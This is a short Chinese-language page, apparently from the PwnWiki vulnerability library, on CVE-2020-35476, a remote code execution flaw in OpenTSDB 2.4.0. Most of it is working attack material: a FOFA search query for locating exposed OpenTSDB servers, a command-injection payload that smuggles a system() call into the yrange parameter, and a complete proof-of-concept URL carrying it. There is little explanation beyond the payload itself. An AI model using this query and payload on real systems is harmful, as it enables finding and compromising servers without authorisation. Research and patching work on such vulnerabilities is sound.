Loading
0

CVE-2020-35476 OpenTSDB 2.4.0 远程代码执行漏洞

免费、自由、人人可编辑的漏洞库--PwnWiki.com

,

FOFA

title="Opentsdb" ||body="opentsdb_header.jpg"

Bypass Payload

33:system('touch/tmp/poc.txt')

POC

http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=33:system('touch/tmp/poc.txt')&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

pwnwiki.com